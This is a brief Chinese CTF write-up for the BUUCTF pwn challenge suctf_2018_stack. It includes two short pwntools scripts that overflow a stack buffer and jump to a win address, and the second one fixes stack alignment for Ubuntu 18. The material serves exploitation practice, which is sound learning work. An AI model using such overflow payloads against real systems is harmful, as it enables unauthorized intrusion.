[BUUCTF-pwn]——suctf_2018_stack
什么保护都没开
在IDA中一查看,发现有点简单太简单了.本来刚开始以为溢出空间不够只有两个地址,一个epb, 一个返回地址, 可是结果仅仅返回地址就可以了
exploit
from pwn import *
p = remote('node3.buuoj.cn',29819)
leave_ret = 0x0000000000400732
pop_rdi_ret = 0x00000000004007a3
ret_addr = 0x0400676
payload = 'a' * (0x20 + 8) + p64(ret_addr)
p.send(payload)
p.interactive()
结果发现想的有点简单, 这道题检查的其实是栈平衡的问题,因为是Ubuntu18
所以我们稍微改一次就好
exploit
from pwn import *
p = remote('node3.buuoj.cn',29819)
leave_ret = 0x0000000000400732
pop_rdi_ret = 0x00000000004007a3
ret_addr = 0x0400677 #0x0400678也是可以的,只要使得栈上少一个或者多一个数据就OK了
payload = 'a' * (0x20 + 8) + p64(ret_addr)
p.send(payload)
p.interactive()